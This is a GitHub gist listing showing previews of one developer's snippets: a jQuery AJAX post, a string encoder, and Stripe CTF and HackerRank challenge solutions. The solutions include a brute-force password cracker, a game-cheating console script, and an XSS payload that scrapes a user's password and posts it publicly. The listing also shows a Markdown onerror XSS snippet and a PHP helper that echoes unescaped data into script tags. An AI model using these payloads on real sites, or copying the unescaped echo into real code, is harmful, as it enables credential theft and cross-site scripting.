Skip to content

Instantly share code, notes, and snippets.

View mediaupstream's full-sized avatar
🍉

Derek Anderson mediaupstream

🍉
View GitHub Profile
@mediaupstream
mediaupstream / consoleLog.php
Created February 11, 2012 18:04
php console.log to the JS console. very awkward :)
function consoleLog ( $d ){
if(is_array($d)) $d = json_encode($d);
echo "<script> console.log('". $d . "'); </script>";
}
@mediaupstream
mediaupstream / force.py
Created March 1, 2012 05:25
Stripe CTF level06 - Python FTW!
#!/usr/bin/python
import sys
import subprocess
from operator import itemgetter
import time
dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' # a-zA-Z0-9
cmd = './level06' # replace this with the path to level06 executable
pwd = './.password' # replace this with the path to the .password file you want to crack
@mediaupstream
mediaupstream / encode_string.js
Created April 4, 2012 17:18
Convert a string to unicode numbers
//
// Usage:
//
// var test = encode_string('foobar');
// console.log( test ); // prints: 1021111119897114
//
var encode_string = function(str){
var result = '';
str.split('').forEach(function(c){ result += c.charCodeAt(c); });
return result;
@mediaupstream
mediaupstream / ajax-post.js
Created May 6, 2012 04:28
ajax post with jQuery
$('#myCoolForm').submit(function(e){
e.preventDefault(); // ensures we don't actually submit the form like normal
var url = $(this).attr('action'); // grabs the html form action attribute, eg our post url
var data = $(this).serialize(); // this will take all the form elements and serialize them into a querystring to be posted
$.post( url, data, function(data, textStatus){
// do something cool here
console.log(data);
});
});
@mediaupstream
mediaupstream / hackerrank-pwned.js
Created July 2, 2012 10:06
Hacker Rank - Pwnage
//
// HackerRank.com PWN4GE
// by MediaUpstream // Derek Anderson
//
// 1. Register yourself an acct on HackerRank.com
// 2. Paste this into the JavaScript console
// 3. Pwn the game
// 4. Go walk your cat.
//
var HackerRankPwn = function(){
@mediaupstream
mediaupstream / hackerchallenge2-spacex.js
Created July 4, 2012 01:05
HackerRank.com Challenge #2 (SpaceX) Solution in NodeJS
//
// HackerRank.com Challenge #2 (SpaceX Challenge)
// @hacker mediaupstream, aka Derek Anderson
//
// How to Win:
// 1. Install required npm packages: `npm install request sugar`
// 2. Modify the `username` and `password` variables below to match what you used to signup on
// hackerrank.com with
// 3. Run the script: `$ node hackerchallenge2-spacex.js`
// 4. Wait for about 40 minutes...
@mediaupstream
mediaupstream / foo.js
Created August 15, 2012 22:31
Recursive require crashes node
require('./index.js')();
module.exports = function(){
console.log('foo.js', Date.now() );
}
@mediaupstream
mediaupstream / secret-lvl6.js
Created August 24, 2012 01:42
secret-lvl6.js
$.get(window.location.href + 'user_info', function(resp, a){
var dom = $(resp);
var password = $('table tr:eq(1) td', dom).text();
var msg = 'My password is: '+ escape(password);
$('#content').val( msg );
$('#title').val('Hacked');
$('#new_post').submit();
});
// Now we can turn the above into numbers, and this becomes our username:
@mediaupstream
mediaupstream / level08-ctf-v2.js
Created September 3, 2012 19:41
A NodeJS Solution to LEVEL08 of the Stripe-CTF (v2)
var request = require('request'),
http = require('http');
require('sugar');
var Cracker = function(){
this.chunk = 0;
this.chunks = [];
this.password = '000000000000';
this.chunkPass = 0;
this.prevPort = null;
@mediaupstream
mediaupstream / gist:3857647
Created October 9, 2012 09:33
Simple Markdown XSS
# Markdown XSS
![uh](http://example.com"onerror="javascript:alert\('hello, xss'\))